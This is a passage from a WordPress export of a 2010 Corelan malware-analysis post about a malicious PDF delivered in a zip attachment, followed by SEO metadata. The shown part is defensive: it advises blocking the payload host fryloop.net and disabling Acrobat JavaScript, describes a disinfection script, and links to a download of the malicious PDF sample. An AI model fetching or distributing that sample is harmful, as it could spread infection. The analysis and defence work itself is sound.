anymore.<\/p>\n<blockquote>\n<p>\n    <br \/>If you want to play with the pdf file yourself, you can download a copy here : <a href=\"http:\/\/web.archive.org\/web\/20111211034833\/http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files\">http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files<\/a> <\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<p>Stay tuned for more information about voel.exe<\/p>\n<p>&#160;<\/p>\n<h3>Protect yourself<\/h3>\n<ul>\n<li>Inform users to never open attachments or click links from emails they didn't expect (even if they know the sender) and simply ask them to open a file or go to a url. <\/li>\n<li>Disable javascript in Acrobat Reader (or avoid using Acrobat Reader altogether) <\/li>\n<li>Block all access to fryloop.net (keep in mind, however, that nothing prevents the senders to use different url's to host the payload)&#160; (You could consider creating a zone for fryloop.net in your local DNS and point it to 127.0.0.1, or block access on your proxy \/ web filtering gateways) <\/li>\n<li>Block incoming small zip files on your email gateways <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<h3>Detect, Desinfect &amp; Clean up<\/h3>\n<p>In the event that you got infected after all, and your Antivirus didn't catch the infection, then you can use our little script to clean up an infected machine.&#160; The script will attempt to detect the infection and will prompt you to remove files from the filesystem an entries from the registry. After the first run, you should reboot the machine, and then run the script again immediately after it has rebooted.<\/p>\n<p>This reboot is needed because the infected explorer.exe process will attempt to keep the entry in the registry.&#160; So at the first run, the infected files will be deleted. This will make sure the machine does not get re-infected after the reboot.&#160; During the second run, the registry keys are deleted as well.<\/p>\n<p>Note that the utility will only remove the infection from the currently logged on user profile.&#160; After all, the infection is user bound, not machine bound.<\/p>\n<p>You can get a copy of the desinfection script here : <a href=\"http:\/\/web.archive.org\/web\/20111211034833\/http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files\">http:\/\/redmine.corelan.be:8800\/projects\/corelan-public\/files<\/a><\/p>\n<p>This is how the script works : <\/p>\n<div style=\"padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px\" id=\"scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:c0469964-6ef8-4984-8791-4e40f0261855\" class=\"wlWriterEditableSmartContent\">\n<div><object width=\"737\" height=\"414\"><param name=\"movie\" value=\"http:\/\/www.youtube.com\/v\/8XobDIJW89A?hl=en&amp;hd=1\"><\/param><\/object><\/div>\n<div style=\"width:737px;clear:both;font-size:.8em\">Corelan Team price.pdf detection & desinfection script<\/div>\n<\/div>\n<p>or click <a href=\"http:\/\/www.youtube.com\/watch?v=8XobDIJW89A\">here<\/a> to watch the video on youtube.com<\/p>\n<p>Note : you can convert the python script to a standalone executable using <a href=\"http:\/\/www.py2exe.org\/\">py2exe<\/a><\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Thanks to<\/h3>\n<ul>\n<li>Obzy, Sud0, Fancy : for joining me in analysing &amp; reversing the payload <\/li>\n<li>the other Corelan Team members, for being such a great bunch of guys to work with ! <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<hr \/>\n<p><\/p>\n<p><!--Digiprove_Start--><span lang=\"en\" xml:lang=\"en\" class=\"notranslate\" style=\"vertical-align:middle; display:inline; padding:3px; line-height:normal;border:1px solid #e3e3e3;background-color:#000000;\" title=\"certified 4 December 2010 17:15:04 UTC by Digiprove certificate P71104\" ><a href=\"http:\/\/www.digiprove.com\/show_certificate.aspx?id=P71104%26guid=RBQMRFbFlkO0A9yjQ_BzJA\" target=\"_blank\" rel=\"copyright noopener\" style=\"border:0px; float:none; display:inline; text-decoration: none; background-color:transparent\"><img decoding=\"async\" src=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" style=\"vertical-align:middle; display:inline; border:0px; margin:0px; float:none; background-color:transparent\" border=\"0\" width=\"12px\" height=\"12px\" alt=\"\"\/><span style=\"font-family: Tahoma, MS Sans Serif; font-size:9px; font-weight:normal; color:#FFFFFF; border:0px; float:none; display:inline; text-decoration:none; letter-spacing:normal\" onmouseover=\"this.style.color='#FFFF1C';\" onmouseout=\"this.style.color='#FFFFFF';\">&nbsp;&nbsp;Copyright secured by Digiprove&nbsp;&copy; 2010 Peter Van Eeckhoutte<\/span><\/a><!--E928026AEB77679BA9242BBFE4AF2F96AC03D5D1F80AE87EFCA89AEA5B5C2F26--><\/span><!--Digiprove_End--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This morning, my generic attachment filter for MS Exchange reported that about 100 emails were put in quarantine because they contained a small zip file.<br \/>\nWhen looking inside the zip file, I found a small pdf file\u2026  I immediately figured this file was up to no good, so it was time to get my hands dirty \ud83d\ude42<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[245,2561,127],"tags":[2676,2477,1875],"class_list":["post-5516","post","type-post","status-publish","format-standard","hentry","category-exploits","category-malware-and-reversing","category-security","tag-reverse-engineering","tag-pdf","tag-payload"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"This morning, my generic attachment filter for MS Exchange reported that about 100 emails were put in quarantine because they contained a small zip file. When looking inside the zip file, I found a small pdf file\u2026 I immediately figured this file was up to no good, so it was time to get my hands dirty :)\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2010-11-18T13:25:51+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Malicious pdf analysis : from price.zip to flashplayer.exe\",\"datePublished\":\"2010-11-18T13:25:51+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/\"},\"wordCount\":1674,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"keywords\":[\"reverse engineering\",\"pdf\",\"payload\"],\"articleSection\":[\"Exploits\",\"Malware and Reversing\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/\",\"name\":\"Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"datePublished\":\"2010-11-18T13:25:51+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#primaryimage\",\"url\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"contentUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/18\\\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Malicious pdf analysis : from price.zip to flashplayer.exe\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/","og_locale":"en_US","og_type":"article","og_title":"Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"This morning, my generic attachment filter for MS Exchange reported that about 100 emails were put in quarantine because they contained a small zip file. When looking inside the zip file, I found a small pdf file\u2026 I immediately figured this file was up to no good, so it was time to get my hands dirty :)","og_url":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2010-11-18T13:25:51+00:00","og_image":[{"url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Malicious pdf analysis : from price.zip to flashplayer.exe","datePublished":"2010-11-18T13:25:51+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/"},"wordCount":1674,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","keywords":["reverse engineering","pdf","payload"],"articleSection":["Exploits","Malware and Reversing","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/","url":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/","name":"Malicious pdf analysis : from price.zip to flashplayer.exe - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","datePublished":"2010-11-18T13:25:51+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#primaryimage","url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","contentUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/18\/malicious-pdf-analysis-from-price-zip-to-flashplayer-exe\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Malicious pdf analysis : from price.zip to flashplayer.exe"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":13232,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5516","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=5516"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5516\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=5516"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=5516"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=5516"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}